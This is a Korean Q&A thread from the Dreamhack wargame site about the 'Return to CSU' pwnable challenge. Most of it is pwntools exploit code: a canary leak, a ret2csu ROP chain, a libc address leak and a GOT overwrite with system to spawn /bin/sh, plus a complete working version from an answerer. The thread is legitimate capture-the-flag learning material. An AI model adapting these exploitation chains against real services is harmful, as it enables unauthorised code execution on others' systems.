완료됨
Return to CSU 공부하는 중인데 왜 안되는지 모르겠습니다.
     1  #!/usr/bin/python3
     2
     3  from pwn import *
     4
     5  p = remote("host3.dreamhack.games", 12729)
     6  e = ELF("./rop")
     7  lib = ELF("./libc-2.27.so")
     8
     9  puts_got = e.got["puts"]
    10  read_got = e.got["read"]
    11  csu_stage1 = 0x4007ea
    12  csu_stage2 = 0x4007d0
    13  bss = e.bss()
    14
    15  payload = b"A"*0x39
    16  p.sendafter("Buf: ", payload)
    17  p.recvuntil(payload)
    18  canary = u64(b"\x00" + p.recvn(7))
    19
    20  payload = b"A"*0x38 + p64(canary) + b"B"*0x8
    21  payload += p64(csu_stage1)
    22  payload += p64(0)
    23  payload += p64(1)
    24  payload += p64(puts_got)
    25  payload += p64(read_got)
    26  payload += p64(0)
    27  payload += p64(0)
    28  payload += p64(csu_stage2)
    29
    30  payload += p64(0)
    31  payload += p64(0)
    32  payload += p64(1)
    33  payload += p64(read_got)
    34  payload += p64(0)
    35  payload += p64(puts_got)
    36  payload += p64(8)
    37  payload += p64(csu_stage2)
    38
    39  payload += p64(0)
    40  payload += p64(0)
    41  payload += p64(1)
    42  payload += p64(read_got)
    43  payload += p64(0)
    44  payload += p64(bss)
    45  payload += p64(8)
    46  payload += p64(csu_stage2)
    47
    48  payload += p64(0)
    49  payload += p64(0)
    50  payload += p64(1)
    51  payload += p64(puts_got)
    52  payload += p64(bss)
    53  payload += p64(0)
    54  payload += p64(0)
    55  payload += p64(csu_stage2)
    56
    57  p.sendafter("Buf: ", payload)
    58  read = u64(p.recvn(6) + b"\x00" * 2)
    59  lib_base = read - lib.symbols["read"]
    60  system = lib_base + lib.symbols["system"]
    61
    62  print("canary: ", hex(canary))
    63  print("read: ", hex(read))
    64  print("lib_base: ", hex(lib_base))
    65  print("system: ", hex(system))
    66
    67  p.send(p64(system))
    68  p.send(b"/bin/sh\x00")
    69
    70  p.interactive()

카나리 값, read() 주소, libc_base 주소, system 주소는 정상적으로 출력이 되는데 67번째 줄 bss에 입력할 p.send(b"/bin/sh\x00")에서 에러가 나옵니다. 왜 이럴까요??

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 5
avatar
ohohohohohohohohoh
질문 등록: 5
avatar
ohohohohohohohohoh
질문 등록: 5

입력을 다 받기전에 프로그램이 종료되는 것이 아닌지 확인해보셔요!

제가 보기에 페이로드는 문제없어보이는데

프로그램이 페이로드를 다 입력받을 수 있는지 보셔야될듯합니다.

2022.08.28. 06:49
탈퇴한 이용자
대표 업적 없음
탈퇴한 이용자
대표 업적 없음
     1  #!/usr/bin/python3
     2
     3  from pwn import *
     4
     5  p = remote("host3.dreamhack.games", 23833)
     6  e = ELF("./rop")
     7  lib = ELF("./libc-2.27.so")
     8
     9  puts_got = e.got["puts"]
    10  read_got = e.got["read"]
    11  csu_stage1 = 0x4007ea
    12  csu_stage2 = 0x4007d0
    13  bss = e.bss()
    14
    15  payload = b"A"*0x39
    16  p.sendafter("Buf: ", payload)
    17  p.recvuntil(payload)
    18  canary = u64(b"\x00" + p.recvn(7))
    19
    20  payload = b"A"*0x38 + p64(canary) + b"B"*0x8
    21  payload += p64(csu_stage1)
    22  payload += p64(0)
    23  payload += p64(1)
    24  payload += p64(puts_got)
    25  payload += p64(read_got)
    26  payload += p64(0)
    27  payload += p64(0)
    28  payload += p64(csu_stage2)
    29
    30  payload += p64(0)
    31  payload += p64(0)
    32  payload += p64(1)
    33  payload += p64(read_got)
    34  payload += p64(0)
    35  payload += p64(bss)
    36  payload += p64(8)
    37  payload += p64(csu_stage2)
    38
    39  payload += p64(0)
    40  payload += p64(0)
    41  payload += p64(1)
    42  payload += p64(read_got)
    43  payload += p64(0)
    44  payload += p64(read_got)
    45  payload += p64(8)
    46  payload += p64(csu_stage2)
    47
    48  payload += p64(0)
    49  payload += p64(0)
    50  payload += p64(1)
    51  payload += p64(read_got)
    52  payload += p64(bss)
    53  payload += p64(0)
    54  payload += p64(0)
    55  payload += p64(csu_stage2)
    56
    57  p.sendafter("Buf: ", payload)
    58  read = u64(p.recvn(6) + b"\x00" * 2)
    59  lib_base = read - lib.symbols["read"]
    60  system = lib_base + lib.symbols["system"]
    61
    62  print("canary: ", hex(canary))
    63  print("read: ", hex(read))
    64  print("lib_base: ", hex(lib_base))
    65  print("system: ", hex(system))
    66
    67  p.send(b"/bin/sh\x00")
    68  p.send(p64(system))
    69
    70  p.interactive()

본문의 코드와 바뀐 점은 read_gotsystem을 덮기 전 먼저 bss/bin/sh\x00을 넣기 위해서 페이로드의 두 번째(30~37)와 세 번째(39~46) 문단의 위치, 67번째 줄과 68번째 줄의 p.send()의 위치를 옮겼습니다. 이 상태에서 실행을 해보니까 똑같이 67번째 줄에서 에러가 발생하고 답변자님이 말씀하신 것처럼 파일이 종료 되는데 종료되는 이유를 알고싶습니다.....

2022.08.27. 08:13
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

오늘 일이 많아 답변이 다소 늦었습니다 ㅠㅠ
우선 버퍼의 크기가 작아 위의 답변글과 같이 페이로드가 다 삽입되지 않아 그런게 맞습니다

그에 대한 방안으로는

  1. csu를 통한 main 함수 내의 입력 값 크기를 변조. 단 그러려면 버퍼 주소 릭이 다시 한번 필요함.
  2. csu ret시 main 함수로의 return. 단 페이로드가 꽤나 길어짐.
  3. csu코드 자체를 bss 영역에 삽입하여 이를 실행

의 방법이 있습니다.

2022.09.04. 01:09
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

제 로컬에서 쓴 코드입니다.
코드가 엄청 더럽지만, 참고용으로 올립니다.

사실 원가젯을 쓰면 되는지라 굳이 저렇게 돌아갈 필요는 없는데... 혹시나하여 ㅎㅎ

from pwn import *

p = process('./rop')
#p = remote('host3.dreamhack.games', 15638)
e = ELF('./rop')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#get canary
p.sendlineafter(b'Buf: ',b'A'*0x38)
p.recvuntil(b'Buf: ')
p.recv(0x39)
canary = b'\x00' + p.recv(7)
p.recvuntil(b'\n')
print(str('canary = '),hex(u64(canary)))

csu_1 = 0x4007ea #rbx ; rbp ; r12 ; r13 ; r14 ; r15 ; ret
csu_2 = 0x4007d0 #mov r15 rdx ; mov r14 rsi ; mov r13d edi ; call *(r12,rbx,8) ; add 1 rbx ; cmp rbx rbp ; jne ; add 8 rsp ; csu_1 
puts_got = e.got['puts']
read_got = e.got['read']
bss = e.bss()

#leak read got address
pay = b''
pay += b'A'*0x38 #for buffer
pay += canary #for canary
pay += b'A'*8 #for sfp
pay += p64(csu_1) #for ret
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(puts_got) #r12 ==> call
pay += p64(read_got) #r13 ==> mov r13d edi. edi is ok because i just use 4 bytes for bss address
pay += p64(0) #r14 ==> rsi
pay += p64(0) #r15 ==> rdx
pay += p64(csu_2) #ret

#return to main
pay += p64(0) #padding for add 8 rsp
pay += p64(0) #rbx
pay += p64(0) #rbp
pay += p64(0) #r12 ==> call
pay += p64(0) #r13 ==> mov r13d edi. edi is ok because i just use 4 bytes for got address
pay += p64(0) #r14 ==> rsi
pay += p64(0) #r15 ==> rdx
pay += p64(e.symbols['main']) #ret

#send payload for get read got and write /bin/sh string in bss area
p.sendafter(b'Buf: ', pay)
libc_base = u64(p.recvline()[:-1] + b'\x00\x00') - lib.symbols['read']
system = libc_base + lib.symbols['system']
print(str('system address = '),hex(system))

pay = b''
pay += b'A'*0x38 #for buffer
pay += canary #for canary
pay += b'A'*8 #for sfp
pay += p64(csu_1) #for ret
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(read_got) #r12 ==> call
pay += p64(0) #r13 ==> mov r13d edi. arg0. edi is ok because i just use 4 bytes for bss address
pay += p64(bss+0x100) #r14 ==> rsi. arg1
pay += p64(0x10) #r15 ==> rdx. arg2
pay += p64(csu_2) #ret

pay += p64(0) #padding for add 8 rsp
pay += p64(0) #rbx
pay += p64(0) #rbp
pay += p64(bss+0x100) #r12 ==> call
pay += p64(bss+0x108) #r13 ==> mov r13d edi. edi is ok because i just use 4 bytes for got address
pay += p64(0) #r14 ==> rsi
pay += p64(0) #r15 ==> rdx
pay += p64(csu_2) #ret

p.sendafter(b'Buf: ', pay)
p.recvuntil(b'Buf: ')
p.send(b'\n')
p.send(p64(system) + b'/bin/sh\n')

p.interactive()

코드를 조금 변경해서 csu로 메모리 릭 -> 메인으로 리턴 -> 메인 리턴 주소에 원가젯 주소 사용하는 방식으로는 온라인에서 잘 풀립니다.

2022.09.04. 20:31
탈퇴한 이용자
대표 업적 없음
탈퇴한 이용자
대표 업적 없음

성공!

2022.09.05. 13:51